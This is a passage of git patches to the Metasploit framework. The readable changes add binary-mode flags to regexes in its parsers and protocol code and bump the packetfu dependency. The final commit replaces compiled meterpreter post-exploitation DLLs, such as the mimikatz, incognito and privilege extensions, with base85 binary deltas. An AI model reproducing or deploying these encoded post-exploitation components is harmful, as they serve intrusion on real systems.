: string case @encoding when 'E' diff --git a/lib/rex/parser/burp_session_nokogiri.rb b/lib/rex/parser/burp_session_nokogiri.rb index 1ddd79c5aa..2822fa28bf 100644 --- a/lib/rex/parser/burp_session_nokogiri.rb +++ b/lib/rex/parser/burp_session_nokogiri.rb @@ -116,7 +116,7 @@ module Rex if query @state[:query] = "?#{query}" # Can be nil end - if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/ + if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/n real_path = "/#{$1}" else real_path = path diff --git a/lib/rex/parser/mbsa_nokogiri.rb b/lib/rex/parser/mbsa_nokogiri.rb index d8d9c6b122..c66ec056eb 100644 --- a/lib/rex/parser/mbsa_nokogiri.rb +++ b/lib/rex/parser/mbsa_nokogiri.rb @@ -176,7 +176,7 @@ module Rex :os_family => os_family, :os_version => os_version, :os_accuracy => 100, - :os_match => os_info.gsub(/\x2e$/,"") + :os_match => os_info.gsub(/\x2e$/n,"") } end end diff --git a/lib/rex/peparsey/pebase.rb b/lib/rex/peparsey/pebase.rb index 76a480994f..b97c3789eb 100644 --- a/lib/rex/peparsey/pebase.rb +++ b/lib/rex/peparsey/pebase.rb @@ -1627,8 +1627,8 @@ class PeBase if (rname & 0x80000000 != 0) rname &= ~0x80000000 unistr = data[rname+2, 2 * data[rname,2].unpack('v')[0] ] - unistr, trash = unistr.split(/\x00\x00/, 2) - return unistr ? unistr.gsub(/\x00/, '') : nil + unistr, trash = unistr.split(/\x00\x00/n, 2) + return unistr ? unistr.gsub(/\x00/n, '') : nil end rname.to_s diff --git a/lib/rex/peparsey/section.rb b/lib/rex/peparsey/section.rb index 1be7468bae..983c6bb72a 100644 --- a/lib/rex/peparsey/section.rb +++ b/lib/rex/peparsey/section.rb @@ -38,7 +38,7 @@ class Section return nil if !_section_header # FIXME make this better... - _section_header.v['Name'].gsub(/\x00+$/, '') + _section_header.v['Name'].gsub(/\x00+$/n, '') end def flags diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb index 1807196ea7..a787e218d3 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb @@ -249,7 +249,7 @@ class Registry response = client.send_request(request) cls = response.get_tlv(TLV_TYPE_VALUE_DATA) return nil if not cls - data = cls.value.gsub(/\x00.*/, '') + data = cls.value.gsub(/\x00.*/n, '') return data end diff --git a/lib/rex/proto/drda/utils.rb b/lib/rex/proto/drda/utils.rb index 8479bd2ee4..fbf3640c77 100644 --- a/lib/rex/proto/drda/utils.rb +++ b/lib/rex/proto/drda/utils.rb @@ -71,7 +71,7 @@ class Utils ddm.payload.each do |param| case param.codepoint when Constants::SECMEC - info_hash[:plaintext_auth] = true if param.payload =~ /\x00\x03/ + info_hash[:plaintext_auth] = true if param.payload =~ /\x00\x03/n when Constants::SECCHKCD info_hash[:security_check_code] = param.payload.unpack("C").first # A little spurious? This is always nonzero when there's no SECCHKRM DDM. diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 71d1c3c1b5..0829fe55d7 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -504,7 +504,7 @@ class Client return resp unless resp.code == 401 && resp.headers['WWW-Authenticate'] # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0] + ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0] return resp unless ntlm_challenge ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index e582716117..6442284688 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -635,7 +635,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils self.auth_user_id = ack['Payload']['SMB'].v['UserID'] - info = ack['Payload'].v['Payload'].split(/\x00/) + info = ack['Payload'].v['Payload'].split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] self.default_domain = info[2] @@ -711,7 +711,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils self.auth_user_id = ack['Payload']['SMB'].v['UserID'] - info = ack['Payload'].v['Payload'].split(/\x00/) + info = ack['Payload'].v['Payload'].split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] @@ -760,7 +760,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils self.auth_user_id = ack['Payload']['SMB'].v['UserID'] - info = ack['Payload'].v['Payload'].split(/\x00/) + info = ack['Payload'].v['Payload'].split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] @@ -841,7 +841,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen']) # Extract the native lanman and os strings - info = data.split(/\x00/) + info = data.split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] @@ -1019,7 +1019,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen']) # Extract the native lanman and os strings - info = data.split(/\x00/) + info = data.split(/\x00/n) self.peer_native_os = info[0] self.peer_native_lm = info[1] @@ -1881,7 +1881,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils 'C'+ # Short File Name Length 'C' # Reserved ) - name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/, '') + name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '') files[name] = { 'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F', diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 63e1209e5e..144ef80a67 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -875,7 +875,7 @@ module Text # def self.ascii_safe_hex(str, whitespace=false) if whitespace - str.gsub(/([\x00-\x20\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] } + str.gsub(/([\x00-\x20\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } else str.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0]} end @@ -1076,7 +1076,7 @@ module Text def self.dehex(str) return str unless str.respond_to? :match return str unless str.respond_to? :gsub - regex = /\x5cx[0-9a-f]{2}/mi + regex = /\x5cx[0-9a-f]{2}/nmi if str.match(regex) str.gsub(regex) { |x| x[2,2].to_i(16).chr } else @@ -1091,7 +1091,7 @@ module Text def self.dehex!(str) return str unless str.respond_to? :match return str unless str.respond_to? :gsub - regex = /\x5cx[0-9a-f]{2}/mi + regex = /\x5cx[0-9a-f]{2}/nmi str.gsub!(regex) { |x| x[2,2].to_i(16).chr } end @@ -1563,7 +1563,7 @@ module Text end def self.unicode_filter_decode(str) - str.to_s.gsub( /\$U\$([\x20-\x2c\x2e-\x7E]*)\-0x([A-Fa-f0-9]+)/ ){|m| [$2].pack("H*") } + str.to_s.gsub( /\$U\$([\x20-\x2c\x2e-\x7E]*)\-0x([A-Fa-f0-9]+)/n ){|m| [$2].pack("H*") } end protected diff --git a/lib/rex/ui/text/input/socket.rb b/lib/rex/ui/text/input/socket.rb index aa832447d6..37541bae28 100644 --- a/lib/rex/ui/text/input/socket.rb +++ b/lib/rex/ui/text/input/socket.rb @@ -62,12 +62,12 @@ class Input::Socket < Rex::Ui::Text::Input # Handle telnet sequences case line - when /\xff\xf4\xff\xfd\x06/ + when /\xff\xf4\xff\xfd\x06/n @sock.write("[*] Caught ^C, closing the socket...\n") @sock.close return - when /\xff\xed\xff\xfd\x06/ + when /\xff\xed\xff\xfd\x06/n @sock.write("[*] Caught ^Z\n") return end diff --git a/lib/rkelly/visitors/evaluation_visitor.rb b/lib/rkelly/visitors/evaluation_visitor.rb index c7e3aa9607..3353a6531b 100644 --- a/lib/rkelly/visitors/evaluation_visitor.rb +++ b/lib/rkelly/visitors/evaluation_visitor.rb @@ -316,7 +316,7 @@ module RKelly when Numeric object.value when ::String - s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/, '') + s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/n, '') if s.length == 0 0 else From 606747d7448951f286f308ba7d20e77b324bd018 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 12 Sep 2013 17:24:11 -0500 Subject: [PATCH 134/160] Bump requirement for packetfu Not sure why this version is pinned, I'm pretty trustworthy. I would love to see @jlee-r7 or @hdm-r7 land this, since they were the ones who so a problem with binary regexes in 1.1.8 --- Gemfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile b/Gemfile index ba5b88d77d..053262d6bd 100755 --- a/Gemfile +++ b/Gemfile @@ -11,7 +11,7 @@ gem 'nokogiri' # Needed by anemone crawler gem 'robots' # Needed by db.rb and Msf::Exploit::Capture -gem 'packetfu', '1.1.8' +gem 'packetfu', '1.1.9' group :db do # Needed for Msf::DbManager From 3d9d7b699226d8af4587eab513cd14c98325b552 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 12 Sep 2013 17:26:30 -0500 Subject: [PATCH 135/160] Gemfile.lock, too --- Gemfile.lock | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 7b19933226..d8f0650ebd 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -30,7 +30,7 @@ GEM network_interface (0.0.1) nokogiri (1.6.0) mini_portile (~> 0.5.0) - packetfu (1.1.8) + packetfu (1.1.9) pcaprub (0.11.3) pg (0.16.0) rake (10.1.0) @@ -67,7 +67,7 @@ DEPENDENCIES msgpack network_interface (~> 0.0.1) nokogiri - packetfu (= 1.1.8) + packetfu (= 1.1.9) pcaprub pg (>= 0.11) rake (>= 10.0.0) From 9dae838422452c2c175094d618470ff88b326f0e Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 12 Sep 2013 22:34:31 -0500 Subject: [PATCH 136/160] New compiled bins for meterpreter/#14 Should fix the flakiness of migrataion on 64-bit systems. [FixRM #8361] --- data/meterpreter/elevator.dll | Bin 51712 -> 51712 bytes data/meterpreter/elevator.x64.dll | Bin 57344 -> 57344 bytes data/meterpreter/ext_server_espia.dll | Bin 162304 -> 162304 bytes data/meterpreter/ext_server_espia.x64.dll | Bin 190464 -> 190976 bytes data/meterpreter/ext_server_incognito.dll | Bin 64000 -> 64000 bytes data/meterpreter/ext_server_incognito.x64.dll | Bin 72704 -> 72192 bytes data/meterpreter/ext_server_lanattacks.dll | Bin 153600 -> 153600 bytes .../meterpreter/ext_server_lanattacks.x64.dll | Bin 209920 -> 196096 bytes data/meterpreter/ext_server_mimikatz.dll | Bin 374784 -> 374784 bytes data/meterpreter/ext_server_priv.dll | Bin 91136 -> 91136 bytes data/meterpreter/ext_server_priv.x64.dll | Bin 101888 -> 102400 bytes data/meterpreter/ext_server_sniffer.dll | Bin 378880 -> 378880 bytes data/meterpreter/ext_server_sniffer.x64.dll | Bin 248320 -> 391680 bytes data/meterpreter/ext_server_stdapi.dll | Bin 328704 -> 328704 bytes data/meterpreter/ext_server_stdapi.x64.dll | Bin 386560 -> 386560 bytes data/meterpreter/metsrv.dll | Bin 752128 -> 752128 bytes data/meterpreter/metsrv.x64.dll | Bin 951808 -> 951808 bytes data/meterpreter/screenshot.dll | Bin 158208 -> 158208 bytes data/meterpreter/screenshot.x64.dll | Bin 186368 -> 186368 bytes 19 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/meterpreter/elevator.dll b/data/meterpreter/elevator.dll index 5d5402a24da8eb8ad363fe95b261f7ff05e31bed..149771f43f2a20ca01c27f12b38f0062cbad1a75 100755 GIT binary patch delta 34 ncmZpe!rU;0dBP8txHhApiGO^U`g%8eG2U7Y=5N+mdqV~Q`~ePx delta 34 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 Q3f&NR>TSM(|4R1wZy|GB@&Et; delta 14114 zcmeHtX;f6l)^?qSW^NjkMidcb5=E3j1O$}UMi1Itah??gr#PWDicx8_>1cawL#!m4 z#3aU>o6+1DF$RqTj^K3A<{qC}17d+MA6ChJ}6`}2K2U)HLAcI~~Z zYS*-DR~@SAJ*w(GYI3;d=W>Tw`@6r|w`|kCn{6rLQRK~1LUr|0GrO#-|!(O*Xw((j>bdbd#8#TN-FhOm*Y!G<5L(hAU=DN{HpMqFR93i~W z!aI3R+#bv5R^DE3>BBq6b7tWLFEok~bhFPe>#1}??Dgf|Y4xsN93kSQU?nel_9w*c z64N1<3?~Fs;m|(c0*$`?WV-GG=zsTS+N-?9_&{i%6T{P3z9LfWkSr6SX=lXjUUH58 zl6EbMxQ?P1qO~v7&)Tn))6u?BhT*7%w_h(063yU?M|Jplif-`j!#zv)`{r<4>0RF) zoRil0g>y^kZofA)Z>Q6d{=>N#`m%oumr8|z9IhvA4CupY=>33xnhO~;Nw-ULIE!A^ zjpZnf4@`%AYG7hu$^fM)ALocDF|+oC!10{sayY%Ezp82NLQe->(%es{+k$6n8oSZQ z!QC~tGHCY>16bh>eYqsMxx=mw<0DxABku1bq($-&E{dyYUdJw6ui7aczv70C42M(@ z64+Qy$&u+W(7gSOCDfKh%7ewEKWSXZmNkNyw&72FU%JK+lk#I1S;|9tv_#-u6MVLqh;T_91vBY_ 